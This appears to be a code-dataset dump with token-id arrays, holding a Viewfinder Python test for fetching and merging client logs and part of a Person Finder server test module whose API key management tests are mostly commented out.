repo_name
stringlengths
6
100
path
stringlengths
4
294
copies
stringclasses
981 values
size
stringlengths
4
6
content
stringlengths
606
896k
license
stringclasses
15 values
input_ids
listlengths
1.02k
1.02k
labels
listlengths
1.02k
1.02k
attention_mask
listlengths
1.02k
1.02k
godLoveLucifer/viewfinder
backend/www/test/fetch_logs_test.py
13
7976
# Copyright 2012 Viewfinder Inc. All Rights Reserved. # -*- coding: utf-8 -*- __author__ = 'spencer@emailscrubbed.com (Spencer Kimball)' import iso8601 import logging import math import shutil import sys import tempfile import time from datetime import datetime from tornado import options from StringIO import StringIO from viewfinder.backend.base import otp, util from viewfinder.backend.base.constants import SECONDS_PER_DAY from viewfinder.backend.base.testing import async_test, thread_test from viewfinder.backend.db.client_log import ClientLog from viewfinder.backend.www import json_schema from viewfinder.backend.www.test import service_base_test from viewfinder.backend.www.test.service_base_test import ClientLogRecord from viewfinder.scripts import fetch_logs class FetchLogsTestCase(service_base_test.ServiceBaseTestCase): def setUp(self): super(FetchLogsTestCase, self).setUp() self._validate = False self._temp_dir = tempfile.mkdtemp() options.options.fetch_dir = self._temp_dir options.options.cache_logs = False # Clients logs for user 0 to verify querying with time range and filter. self._cur_t = math.floor(time.time()) self._t_minus_1d = self._cur_t - 24 * 60 * 60 self._t_minus_2d = self._cur_t - 2 * 24 * 60 * 60 self._user0_logs = [ClientLogRecord(self._t_minus_2d, 'cl1.t-2.log', 'log 1, t-2'), ClientLogRecord(self._t_minus_1d, 'cl1.t-1.log', 'log 1, t-1'), ClientLogRecord(self._cur_t, 'cl1.t.1.log', 'log 1, t'), ClientLogRecord(self._cur_t, 'cl1.t.2.log', 'log 2, t')] user_cookie = self._GetSecureUserCookie(user=self._users[0], device_id=self._device_ids[0]) for log in self._user0_logs: self._WriteClientLog(user_cookie, log) # Client logs for user 1 to verify merging. self._t = fetch_logs.UTCDatetimeToTimestamp( fetch_logs.ParseIso8601DatetimeToUTCDatetime('2012-11-03')) log1a = """2012-11-03 13:29:31:000 <client log line 1> <client log line 1b> 2012-11-03 13:29:33:000 <client log line 2> <client log line 2b>""" log1b = """2012-11-03 14:14:28:000 <client log line 3> 2012-11-03 14:14:29:000 <client log line 4>""" op1a = """2012-11-03 13:29:32:000 <client op line 2> 2012-11-03 13:29:34:000 <client op line 3>""" op1b = """2012-11-03 13:29:30:000 <client op line 1> 2012-11-03 14:14:30:000 <client op line 4>""" self._merged = """2012-11-03 13:29:30:000 <client op line 1> 2012-11-03 13:29:31:000 <client log line 1> <client log line 1b> 2012-11-03 13:29:32:000 <client op line 2> 2012-11-03 13:29:33:000 <client log line 2> <client log line 2b> 2012-11-03 13:29:34:000 <client op line 3> 2012-11-03 14:14:28:000 <client log line 3> 2012-11-03 14:14:29:000 <client log line 4> 2012-11-03 14:14:30:000 <client op line 4> """ self._user1_logs = [ClientLogRecord(self._t, '1a.log', log1a), ClientLogRecord(self._t, '1b.log', log1b), ClientLogRecord(self._t, 'op-1a.log', op1a), ClientLogRecord(self._t, 'op-1b.log', op1b)] user_cookie = self._GetSecureUserCookie(user=self._users[1], device_id=self._device_ids[1]) for log in self._user1_logs: self._WriteClientLog(user_cookie, log) def tearDown(self): """Cleans up the temporary directory.""" shutil.rmtree(self._temp_dir) @thread_test def testFetchLogsScript(self): """Test scripts/fetch_logs.py.""" self._FetchLogs(self._users[0].user_id, start_timestamp=self._cur_t, end_timestamp=self._cur_t, exp_logs=self._user0_logs[2:]) @thread_test def testFetchLogsScriptTimeRange(self): """Verify time ranges with fetch_logs.""" self._FetchLogs(self._users[0].user_id, start_timestamp=self._t_minus_2d, end_timestamp=self._cur_t, exp_logs=self._user0_logs) @thread_test def testFetchLogsScriptDateRange(self): """Verify date ranges with fetch_logs.""" options.options.use_utc = True self._FetchLogs(self._users[0].user_id, start_date=FetchLogsTestCase._IsoDateTime(self._t_minus_1d, utc_time=True), end_date=FetchLogsTestCase._IsoDateTime(self._cur_t, utc_time=True), exp_logs=self._user0_logs[1:]) options.options.use_utc = False self._FetchLogs(self._users[0].user_id, start_date=FetchLogsTestCase._IsoDateTime(self._t_minus_1d), end_date=FetchLogsTestCase._IsoDateTime(self._cur_t), exp_logs=self._user0_logs[1:]) @thread_test def testFetchLogsScriptFilter(self): """Verify date ranges with fetch_logs.""" self._FetchLogs(self._users[0].user_id, start_timestamp=self._cur_t, end_timestamp=self._cur_t + SECONDS_PER_DAY, filter='t.2', exp_logs=self._user0_logs[3:]) @thread_test def testFetchLogsScriptMerge(self): """Verify merged output from fetch of all logs for user 1.""" log_urls = self._FetchLogs(self._users[1].user_id, start_timestamp=self._t, end_timestamp=self._t + SECONDS_PER_DAY, exp_logs=self._user1_logs) # Redirect stdout to a file for testing. output = StringIO() options.options.merge_logs = True fetch_logs.MergeLogs(log_urls, output) self.assertEqual(self._merged, output.getvalue()) output.close() def _GetAdminOpener(self): """Gets the admin opener. Returns the opener and api_host.""" otp._ClearUserHistory() api_host = 'www.goviewfinder.com:%d' % self.get_http_port() tmp_file = tempfile.NamedTemporaryFile(delete=False) opener = otp.GetAdminOpener(api_host, 'test-user', 'test-password', otp.GetOTP('test-user'), tmp_file.name) return api_host, opener def _FetchLogs(self, user_id, start_date=None, start_timestamp=None, end_date=None, end_timestamp=None, filter=None, exp_logs=[]): """Calls the fetch_logs.FetchLogs method by setting command-line options according to this method's parameters. Verifies the resulting list of fetched urls and the contents of the locally saved log files. Returns the resulting array of log urls from fetch_logs.FetchLogs(). """ api_host, opener = self._GetAdminOpener() options.options.user_id = user_id # Clear all existing fetch_logs options. options.options.start_date = None options.options.start_timestamp = None options.options.end_date = None options.options.end_timestamp = None options.options.filter = None if start_date is not None: options.options.start_date = start_date if start_timestamp is not None: options.options.start_timestamp = start_timestamp if end_date is not None: options.options.end_date = end_date if end_timestamp is not None: options.options.end_timestamp = end_timestamp if filter is not None: options.options.filter = filter log_urls = fetch_logs.FetchLogs(opener, api_host) # Filter out logs created by ops run in base class. log_urls = [log_url for log_url in log_urls if 'Operation' not in log_url['url']] self.assertEqual(len(exp_logs), len(log_urls)) for exp_log, log_url in zip(exp_logs, log_urls): self.assertTrue(log_url['filename'].endswith(exp_log.client_id)) self.assertTrue(log_url['url'].endswith(exp_log.client_id)) # Read locally-saved file and verify contents. with open(log_url['local_filename'], 'r') as f: contents = f.read() self.assertEqual(exp_log.contents, contents) return log_urls @staticmethod def _IsoDateTime(timestamp, utc_time=False): """Converts timestamp to ISO 8601 date/time value. If "utc_time" is true, return the UTC date/time. Otherwise, return the local date/time. """ dt = datetime.utcfromtimestamp(timestamp) if utc_time else datetime.fromtimestamp(timestamp) return dt.strftime('%Y-%m-%d %H:%M:%S')
apache-2.0
[ 3, 1898, 6029, 10935, 11681, 3277, 14, 2900, 5924, 5702, 14, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 363, 2502, 363, 275, 283, 681, 287, 2247, 32, 2123, 11047, 456, 6123, 14, 957, 334, 51, 897, 2247, 1804, 73, 887, 452, 3171, 199, 199, 646, 11601, 15363, 199, 646, 2050, 199, 646, 3473, 199, 646, 5145, 199, 646, 984, 199, 646, 5549, 199, 646, 900, 199, 199, 504, 2197, 492, 2197, 199, 504, 12148, 492, 1511, 199, 504, 5228, 492, 5228, 199, 504, 2455, 11681, 14, 4620, 14, 1095, 492, 312, 683, 12, 4884, 199, 504, 2455, 11681, 14, 4620, 14, 1095, 14, 5559, 492, 5795, 1864, 3177, 63, 4227, 63, 11655, 199, 504, 2455, 11681, 14, 4620, 14, 1095, 14, 4776, 492, 5316, 63, 396, 12, 2462, 63, 396, 199, 504, 2455, 11681, 14, 4620, 14, 697, 14, 1258, 63, 793, 492, 6810, 2445, 199, 504, 2455, 11681, 14, 4620, 14, 1544, 492, 2022, 63, 3629, 199, 504, 2455, 11681, 14, 4620, 14, 1544, 14, 396, 492, 2435, 63, 1095, 63, 396, 199, 504, 2455, 11681, 14, 4620, 14, 1544, 14, 396, 14, 1364, 63, 1095, 63, 396, 492, 6810, 2445, 5433, 199, 504, 2455, 11681, 14, 6429, 492, 5267, 63, 7270, 199, 199, 533, 16347, 16333, 1746, 8, 1364, 63, 1095, 63, 396, 14, 3167, 20760, 304, 523, 347, 3613, 8, 277, 304, 272, 1613, 8, 11135, 16333, 1746, 12, 291, 680, 5996, 342, 272, 291, 423, 3502, 275, 756, 339, 291, 423, 808, 63, 694, 275, 5549, 14, 11983, 342, 272, 1511, 14, 1419, 14, 3535, 63, 694, 275, 291, 423, 808, 63, 694, 272, 1511, 14, 1419, 14, 1637, 63, 7270, 275, 756, 339, 327, 6810, 83, 9610, 367, 922, 378, 370, 4911, 27405, 543, 900, 1425, 436, 2457, 14, 272, 291, 423, 895, 63, 84, 275, 3473, 14, 11289, 8, 521, 14, 521, 1012, 272, 291, 423, 84, 63, 13084, 63, 17, 68, 275, 291, 423, 895, 63, 84, 446, 5504, 627, 5212, 627, 5212, 272, 291, 423, 84, 63, 13084, 63, 18, 68, 275, 291, 423, 895, 63, 84, 446, 499, 627, 5504, 627, 5212, 627, 5212, 272, 291, 423, 751, 16, 63, 7270, 275, 359, 3041, 2445, 5433, 8, 277, 423, 84, 63, 13084, 63, 18, 68, 12, 283, 429, 17, 14, 84, 13, 18, 14, 793, 297, 283, 793, 413, 12, 307, 13, 18, 659, 717, 6810, 2445, 5433, 8, 277, 423, 84, 63, 13084, 63, 17, 68, 12, 283, 429, 17, 14, 84, 13, 17, 14, 793, 297, 283, 793, 413, 12, 307, 13, 17, 659, 717, 6810, 2445, 5433, 8, 277, 423, 895, 63, 84, 12, 283, 429, 17, 14, 84, 14, 17, 14, 793, 297, 283, 793, 413, 12, 307, 659, 717, 6810, 2445, 5433, 8, 277, 423, 895, 63, 84, 12, 283, 429, 17, 14, 84, 14, 18, 14, 793, 297, 283, 793, 499, 12, 307, 5440, 339, 922, 63, 5306, 275, 291, 423, 1002, 24117, 1899, 7810, 8, 751, 29, 277, 423, 3707, 59, 16, 467, 2243, 63, 344, 29, 277, 423, 1782, 63, 1580, 59, 16, 566, 272, 367, 943, 315, 291, 423, 751, 16, 63, 7270, 26, 489, 291, 423, 3534, 3041, 2445, 8, 751, 63, 5306, 12, 943, 9, 339, 327, 6810, 9610, 367, 922, 413, 370, 4911, 22537, 14, 272, 291, 423, 84, 275, 5267, 63, 7270, 14, 11288, 19636, 1378, 10239, 8, 489, 5267, 63, 7270, 14, 4003, 41, 1152, 15363, 19636, 1378, 11288, 19636, 360, 7409, 13, 845, 13, 1644, 1333, 339, 943, 17, 65, 275, 408, 7409, 13, 845, 13, 1644, 4944, 26, 1398, 26, 2192, 26, 1493, 665, 1258, 943, 1004, 413, 30, 199, 28, 1258, 943, 1004, 413, 66, 30, 199, 7409, 13, 845, 13, 1644, 4944, 26, 1398, 26, 1153, 26, 1493, 665, 1258, 943, 1004, 499, 30, 199, 28, 1258, 943, 1004, 499, 66, 11193, 272, 943, 17, 66, 275, 408, 7409, 13, 845, 13, 1644, 4329, 26, 1079, 26, 1651, 26, 1493, 665, 1258, 943, 1004, 650, 30, 199, 7409, 13, 845, 13, 1644, 4329, 26, 1079, 26, 1398, 26, 1493, 665, 1258, 943, 1004, 841, 11193, 272, 1687, 17, 65, 275, 408, 7409, 13, 845, 13, 1644, 4944, 26, 1398, 26, 708, 26, 1493, 665, 1258, 1687, 1004, 499, 30, 199, 7409, 13, 845, 13, 1644, 4944, 26, 1398, 26, 1082, 26, 1493, 665, 1258, 1687, 1004, 650, 11193, 272, 1687, 17, 66, 275, 408, 7409, 13, 845, 13, 1644, 4944, 26, 1398, 26, 1216, 26, 1493, 665, 1258, 1687, 1004, 413, 30, 199, 7409, 13, 845, 13, 1644, 4329, 26, 1079, 26, 1216, 26, 1493, 665, 1258, 1687, 1004, 841, 11193, 339, 291, 423, 15269, 275, 408, 7409, 13, 845, 13, 1644, 4944, 26, 1398, 26, 1216, 26, 1493, 665, 1258, 1687, 1004, 413, 30, 199, 7409, 13, 845, 13, 1644, 4944, 26, 1398, 26, 2192, 26, 1493, 665, 1258, 943, 1004, 413, 30, 199, 28, 1258, 943, 1004, 413, 66, 30, 199, 7409, 13, 845, 13, 1644, 4944, 26, 1398, 26, 708, 26, 1493, 665, 1258, 1687, 1004, 499, 30, 199, 7409, 13, 845, 13, 1644, 4944, 26, 1398, 26, 1153, 26, 1493, 665, 1258, 943, 1004, 499, 30, 199, 28, 1258, 943, 1004, 499, 66, 30, 199, 7409, 13, 845, 13, 1644, 4944, 26, 1398, 26, 1082, 26, 1493, 665, 1258, 1687, 1004, 650, 30, 199, 7409, 13, 845, 13, 1644, 4329, 26, 1079, 26, 1651, 26, 1493, 665, 1258, 943, 1004, 650, 30, 199, 7409, 13, 845, 13, 1644, 4329, 26, 1079, 26, 1398, 26, 1493, 665, 1258, 943, 1004, 841, 30, 199, 7409, 13, 845, 13, 1644, 4329, 26, 1079, 26, 1216, 26, 1493, 665, 1258, 1687, 1004, 841, 30, 199, 624, 339, 291, 423, 751, 17, 63, 7270, 275, 359, 3041, 2445, 5433, 8, 277, 423, 84, 12, 283, 17, 65, 14, 793, 297, 943, 17, 65, 395, 717, 6810, 2445, 5433, 8, 277, 423, 84, 12, 283, 17, 66, 14, 793, 297, 943, 17, 66, 395, 717, 6810, 2445, 5433, 8, 277, 423, 84, 12, 283, 411, 13, 17, 65, 14, 793, 297, 1687, 17, 65, 395, 717, 6810, 2445, 5433, 8, 277, 423, 84, 12, 283 ]
[ 1898, 6029, 10935, 11681, 3277, 14, 2900, 5924, 5702, 14, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 363, 2502, 363, 275, 283, 681, 287, 2247, 32, 2123, 11047, 456, 6123, 14, 957, 334, 51, 897, 2247, 1804, 73, 887, 452, 3171, 199, 199, 646, 11601, 15363, 199, 646, 2050, 199, 646, 3473, 199, 646, 5145, 199, 646, 984, 199, 646, 5549, 199, 646, 900, 199, 199, 504, 2197, 492, 2197, 199, 504, 12148, 492, 1511, 199, 504, 5228, 492, 5228, 199, 504, 2455, 11681, 14, 4620, 14, 1095, 492, 312, 683, 12, 4884, 199, 504, 2455, 11681, 14, 4620, 14, 1095, 14, 5559, 492, 5795, 1864, 3177, 63, 4227, 63, 11655, 199, 504, 2455, 11681, 14, 4620, 14, 1095, 14, 4776, 492, 5316, 63, 396, 12, 2462, 63, 396, 199, 504, 2455, 11681, 14, 4620, 14, 697, 14, 1258, 63, 793, 492, 6810, 2445, 199, 504, 2455, 11681, 14, 4620, 14, 1544, 492, 2022, 63, 3629, 199, 504, 2455, 11681, 14, 4620, 14, 1544, 14, 396, 492, 2435, 63, 1095, 63, 396, 199, 504, 2455, 11681, 14, 4620, 14, 1544, 14, 396, 14, 1364, 63, 1095, 63, 396, 492, 6810, 2445, 5433, 199, 504, 2455, 11681, 14, 6429, 492, 5267, 63, 7270, 199, 199, 533, 16347, 16333, 1746, 8, 1364, 63, 1095, 63, 396, 14, 3167, 20760, 304, 523, 347, 3613, 8, 277, 304, 272, 1613, 8, 11135, 16333, 1746, 12, 291, 680, 5996, 342, 272, 291, 423, 3502, 275, 756, 339, 291, 423, 808, 63, 694, 275, 5549, 14, 11983, 342, 272, 1511, 14, 1419, 14, 3535, 63, 694, 275, 291, 423, 808, 63, 694, 272, 1511, 14, 1419, 14, 1637, 63, 7270, 275, 756, 339, 327, 6810, 83, 9610, 367, 922, 378, 370, 4911, 27405, 543, 900, 1425, 436, 2457, 14, 272, 291, 423, 895, 63, 84, 275, 3473, 14, 11289, 8, 521, 14, 521, 1012, 272, 291, 423, 84, 63, 13084, 63, 17, 68, 275, 291, 423, 895, 63, 84, 446, 5504, 627, 5212, 627, 5212, 272, 291, 423, 84, 63, 13084, 63, 18, 68, 275, 291, 423, 895, 63, 84, 446, 499, 627, 5504, 627, 5212, 627, 5212, 272, 291, 423, 751, 16, 63, 7270, 275, 359, 3041, 2445, 5433, 8, 277, 423, 84, 63, 13084, 63, 18, 68, 12, 283, 429, 17, 14, 84, 13, 18, 14, 793, 297, 283, 793, 413, 12, 307, 13, 18, 659, 717, 6810, 2445, 5433, 8, 277, 423, 84, 63, 13084, 63, 17, 68, 12, 283, 429, 17, 14, 84, 13, 17, 14, 793, 297, 283, 793, 413, 12, 307, 13, 17, 659, 717, 6810, 2445, 5433, 8, 277, 423, 895, 63, 84, 12, 283, 429, 17, 14, 84, 14, 17, 14, 793, 297, 283, 793, 413, 12, 307, 659, 717, 6810, 2445, 5433, 8, 277, 423, 895, 63, 84, 12, 283, 429, 17, 14, 84, 14, 18, 14, 793, 297, 283, 793, 499, 12, 307, 5440, 339, 922, 63, 5306, 275, 291, 423, 1002, 24117, 1899, 7810, 8, 751, 29, 277, 423, 3707, 59, 16, 467, 2243, 63, 344, 29, 277, 423, 1782, 63, 1580, 59, 16, 566, 272, 367, 943, 315, 291, 423, 751, 16, 63, 7270, 26, 489, 291, 423, 3534, 3041, 2445, 8, 751, 63, 5306, 12, 943, 9, 339, 327, 6810, 9610, 367, 922, 413, 370, 4911, 22537, 14, 272, 291, 423, 84, 275, 5267, 63, 7270, 14, 11288, 19636, 1378, 10239, 8, 489, 5267, 63, 7270, 14, 4003, 41, 1152, 15363, 19636, 1378, 11288, 19636, 360, 7409, 13, 845, 13, 1644, 1333, 339, 943, 17, 65, 275, 408, 7409, 13, 845, 13, 1644, 4944, 26, 1398, 26, 2192, 26, 1493, 665, 1258, 943, 1004, 413, 30, 199, 28, 1258, 943, 1004, 413, 66, 30, 199, 7409, 13, 845, 13, 1644, 4944, 26, 1398, 26, 1153, 26, 1493, 665, 1258, 943, 1004, 499, 30, 199, 28, 1258, 943, 1004, 499, 66, 11193, 272, 943, 17, 66, 275, 408, 7409, 13, 845, 13, 1644, 4329, 26, 1079, 26, 1651, 26, 1493, 665, 1258, 943, 1004, 650, 30, 199, 7409, 13, 845, 13, 1644, 4329, 26, 1079, 26, 1398, 26, 1493, 665, 1258, 943, 1004, 841, 11193, 272, 1687, 17, 65, 275, 408, 7409, 13, 845, 13, 1644, 4944, 26, 1398, 26, 708, 26, 1493, 665, 1258, 1687, 1004, 499, 30, 199, 7409, 13, 845, 13, 1644, 4944, 26, 1398, 26, 1082, 26, 1493, 665, 1258, 1687, 1004, 650, 11193, 272, 1687, 17, 66, 275, 408, 7409, 13, 845, 13, 1644, 4944, 26, 1398, 26, 1216, 26, 1493, 665, 1258, 1687, 1004, 413, 30, 199, 7409, 13, 845, 13, 1644, 4329, 26, 1079, 26, 1216, 26, 1493, 665, 1258, 1687, 1004, 841, 11193, 339, 291, 423, 15269, 275, 408, 7409, 13, 845, 13, 1644, 4944, 26, 1398, 26, 1216, 26, 1493, 665, 1258, 1687, 1004, 413, 30, 199, 7409, 13, 845, 13, 1644, 4944, 26, 1398, 26, 2192, 26, 1493, 665, 1258, 943, 1004, 413, 30, 199, 28, 1258, 943, 1004, 413, 66, 30, 199, 7409, 13, 845, 13, 1644, 4944, 26, 1398, 26, 708, 26, 1493, 665, 1258, 1687, 1004, 499, 30, 199, 7409, 13, 845, 13, 1644, 4944, 26, 1398, 26, 1153, 26, 1493, 665, 1258, 943, 1004, 499, 30, 199, 28, 1258, 943, 1004, 499, 66, 30, 199, 7409, 13, 845, 13, 1644, 4944, 26, 1398, 26, 1082, 26, 1493, 665, 1258, 1687, 1004, 650, 30, 199, 7409, 13, 845, 13, 1644, 4329, 26, 1079, 26, 1651, 26, 1493, 665, 1258, 943, 1004, 650, 30, 199, 7409, 13, 845, 13, 1644, 4329, 26, 1079, 26, 1398, 26, 1493, 665, 1258, 943, 1004, 841, 30, 199, 7409, 13, 845, 13, 1644, 4329, 26, 1079, 26, 1216, 26, 1493, 665, 1258, 1687, 1004, 841, 30, 199, 624, 339, 291, 423, 751, 17, 63, 7270, 275, 359, 3041, 2445, 5433, 8, 277, 423, 84, 12, 283, 17, 65, 14, 793, 297, 943, 17, 65, 395, 717, 6810, 2445, 5433, 8, 277, 423, 84, 12, 283, 17, 66, 14, 793, 297, 943, 17, 66, 395, 717, 6810, 2445, 5433, 8, 277, 423, 84, 12, 283, 411, 13, 17, 65, 14, 793, 297, 1687, 17, 65, 395, 717, 6810, 2445, 5433, 8, 277, 423, 84, 12, 283, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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ests.py
8
7855
#!/usr/bin/python2.7 # encoding: utf-8 # Copyright 2010 Google Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Test cases for end-to-end testing. Run with the server_tests script.""" import calendar import datetime import email import email.header import optparse import os import pytest import re import simplejson import sys import tempfile import time import unittest import urlparse from google.appengine.api import images import config from const import ROOT_URL, PERSON_STATUS_TEXT, NOTE_STATUS_TEXT import download_feed from model import * from photo import MAX_IMAGE_DIMENSION import remote_api from resources import Resource, ResourceBundle import reveal import scrape import setup_pf as setup from test_pfif import text_diff from text_query import TextQuery import utils from server_tests_base import ServerTestsBase # TODO(ryok): fix go_as_operator() and re-enable the tests. #class ApiKeyManagementTests(ServerTestsBase): # """Tests for API key management capabilities.""" # # key_management_operator = "op@example.com" # # def go_as_operator(self, path, **kwargs): # """Navigates to the given path with an operator login.""" # if not self.logged_in_as_operator: # scrape.setcookies(self.s.cookiejar, self.hostport, # ['dev_appserver_login=%s:True:1' % # self.key_management_operator]) # self.logged_in_as_operator = True # return self.go(path, **kwargs) # # def go_as_admin(self, path, **kwargs): # """Setting logged_in_as_operator to False.""" # ret = ServerTestsBase.go_as_admin(self, path, **kwargs) # self.logged_in_as_operator = False # return ret # # def setUp(self): # ServerTestsBase.setUp(self) # self.logged_in_as_operator = False # config.set_for_repo( # 'japan', # key_management_operators=[self.key_management_operator]) # # def test_toppage(self): # """Check the main page of API kay management.""" # url = 'http://%s/personfinder/japan/admin/api_keys' % self.hostport # doc = self.go(url, redirects=0) # # check if 302 # assert self.s.status == 302 # doc = self.go_as_operator(url, redirects=0) # assert self.s.status == 200 # assert 'API Key Management' in doc.text # doc = self.go_as_admin(url, redirects=0) # assert self.s.status == 200 # assert 'API Key Management' in doc.text # # def test_manage_key(self): # """Check if a new API key is created/updated correctly.""" # url = 'http://%s/personfinder/japan/admin/api_keys' % self.hostport # doc = self.go_as_operator(url) # assert self.s.status == 200 # assert 'API Key Management' in doc.text # form = doc.first('form', id='create-or-update-api-key') # contact_name = 'Test User' # contact_email = 'user@example.com' # organization_name = 'Example, Inc.' # domain_write_permission = 'example.com' # doc = self.s.submit( # form, # contact_name=contact_name, # contact_email=contact_email, # organization_name=organization_name, # domain_write_permission=domain_write_permission, # read_permission='on', # full_read_permission='on', # search_permission='on', # subscribe_permission='on', # mark_notes_reviewed='on', # is_valid='on', # ) # assert 'A new API key has been created successfully.' in doc.text # q = Authorization.all().filter('repo =', 'japan') # authorizations = q.fetch(10) # assert len(authorizations) == 1 # authorization = authorizations[0] # # Check if the new key is correct. # assert authorization.contact_name == contact_name # assert authorization.contact_email == contact_email # assert authorization.organization_name == organization_name # assert authorization.domain_write_permission == domain_write_permission # assert authorization.read_permission is True # assert authorization.full_read_permission is True # assert authorization.search_permission is True # assert authorization.subscribe_permission is True # assert authorization.mark_notes_reviewed is True # assert authorization.is_valid is True # # Check if the management self.log is created correctly. # q = ApiKeyManagementLog.all().filter('repo =', 'japan') # logs = q.fetch(10) # assert len(logs) == 1 # self.log = logs[0] # assert self.log.user.email() == self.key_management_operator # assert self.log.authorization.key() == authorization.key() # assert self.log.action == ApiKeyManagementLog.CREATE # # # List the key and click the edit form on the list # url = 'http://%s/personfinder/japan/admin/api_keys/list' % self.hostport # doc = self.go_as_admin(url) # assert self.s.status == 200 # assert 'Listing API keys for japan' in doc.text # form = doc.first('form') # doc = self.s.submit(form) # assert self.s.status == 200 # assert 'Detailed information of an API key for japan' in doc.text # # # Update the key # contact_name = 'Japanese User' # contact_email = 'user@example.jp' # organization_name = 'Example, Corp.' # # form = doc.first('form') # doc = self.s.submit( # form, # contact_name=contact_name, # contact_email=contact_email, # organization_name=organization_name, # domain_write_permission='', # read_permission='', # full_read_permission='', # search_permission='', # subscribe_permission='', # mark_notes_reviewed='', # is_valid='', # key=str(authorization.key()), # ) # assert 'The API key has been updated successfully.' in doc.text # q = Authorization.all().filter('repo =', 'japan') # authorizations = q.fetch(10) # assert len(authorizations) == 1 # authorization = authorizations[0] # # Check if the new key is correct. # assert authorization.contact_name == contact_name # assert authorization.contact_email == contact_email # assert authorization.organization_name == organization_name # assert authorization.domain_write_permission == '' # assert authorization.read_permission is False # assert authorization.full_read_permission is False # assert authorization.search_permission is False # assert authorization.subscribe_permission is False # assert authorization.mark_notes_reviewed is False # assert authorization.is_valid is False # # Check if the management self.log is created correctly. # q = ApiKeyManagementLog.all().filter('repo =', 'japan') # logs = q.fetch(10) # assert len(logs) == 2 # for self.log in logs: # assert self.log.user.email() == self.key_management_operator # assert self.log.authorization.key() == authorization.key() # if self.log.action != ApiKeyManagementLog.CREATE: # assert self.log.action == ApiKeyManagementLog.UPDATE
apache-2.0
[ 3381, 2647, 15, 1393, 15, 1548, 18, 14, 23, 199, 3, 2644, 26, 2774, 13, 24, 199, 3, 1898, 7129, 4475, 3277, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 420, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 199, 624, 774, 5560, 367, 1284, 13, 475, 13, 500, 5343, 14, 221, 3378, 543, 314, 1654, 63, 2219, 2884, 1041, 199, 199, 646, 11234, 199, 646, 2197, 199, 646, 3031, 199, 646, 3031, 14, 1291, 199, 646, 8691, 199, 646, 747, 199, 646, 4613, 199, 646, 295, 199, 646, 13804, 199, 646, 984, 199, 646, 5549, 199, 646, 900, 199, 646, 2882, 199, 646, 7097, 199, 199, 504, 6233, 14, 15358, 14, 1246, 492, 5935, 199, 199, 646, 1101, 199, 504, 950, 492, 16547, 63, 2632, 12, 13873, 3377, 63, 6305, 63, 3876, 12, 6944, 63, 6305, 63, 3876, 199, 646, 5235, 63, 3871, 199, 504, 1402, 492, 627, 199, 504, 19397, 492, 9141, 63, 9438, 63, 19080, 742, 3579, 199, 646, 3982, 63, 1246, 199, 504, 5944, 492, 7337, 12, 7337, 12320, 199, 646, 295, 432, 279, 199, 646, 10328, 321, 199, 646, 3272, 63, 9928, 465, 3272, 199, 504, 511, 63, 80, 25533, 492, 1318, 63, 3028, 199, 504, 1318, 63, 1131, 492, 4516, 3227, 199, 646, 3778, 199, 504, 1654, 63, 2219, 63, 1095, 492, 7146, 2925, 1563, 421, 199, 3, 3254, 8, 651, 745, 304, 5325, 2621, 63, 305, 63, 3856, 342, 436, 295, 13, 4296, 314, 2295, 14, 199, 3, 533, 13986, 1197, 14552, 2925, 8, 3120, 2925, 1563, 304, 199, 3, 259, 408, 2925, 367, 3261, 790, 10041, 14918, 1041, 199, 3, 199, 3, 259, 790, 63, 8110, 63, 3856, 275, 298, 411, 32, 2694, 14, 957, 2, 199, 3, 258, 199, 3, 259, 347, 2621, 63, 305, 63, 3856, 8, 277, 12, 931, 12, 1011, 958, 304, 199, 3, 263, 408, 19617, 71, 2335, 370, 314, 1627, 931, 543, 376, 4182, 4676, 1041, 199, 3, 263, 340, 440, 291, 14, 12419, 63, 262, 63, 305, 63, 3856, 26, 199, 3, 3322, 10328, 321, 14, 409, 7792, 8, 277, 14, 83, 14, 30552, 12, 291, 14, 1102, 719, 12, 199, 3, 19242, 788, 2374, 63, 571, 1000, 63, 2886, 2458, 83, 26, 549, 26, 17, 7, 450, 199, 3, 22456, 291, 14, 498, 63, 8110, 63, 3856, 566, 199, 3, 3322, 291, 14, 12419, 63, 262, 63, 305, 63, 3856, 275, 715, 199, 3, 263, 372, 291, 14, 1939, 8, 515, 12, 1011, 958, 9, 199, 3, 199, 3, 259, 347, 2621, 63, 305, 63, 2113, 8, 277, 12, 931, 12, 1011, 958, 304, 199, 3, 263, 408, 7776, 10367, 63, 262, 63, 305, 63, 3856, 370, 756, 1041, 199, 3, 263, 2203, 275, 7146, 2925, 1563, 14, 1939, 63, 305, 63, 2113, 8, 277, 12, 931, 12, 1011, 958, 9, 199, 3, 263, 291, 14, 12419, 63, 262, 63, 305, 63, 3856, 275, 756, 199, 3, 263, 372, 2203, 199, 3, 199, 3, 259, 347, 3613, 8, 277, 304, 199, 3, 263, 7146, 2925, 1563, 14, 5996, 8, 277, 9, 199, 3, 263, 291, 14, 12419, 63, 262, 63, 305, 63, 3856, 275, 756, 199, 3, 263, 1101, 14, 409, 63, 509, 63, 3417, 8, 199, 3, 3322, 283, 74, 439, 290, 297, 199, 3, 3322, 790, 63, 8110, 63, 12688, 1524, 277, 14, 498, 63, 8110, 63, 3856, 566, 199, 3, 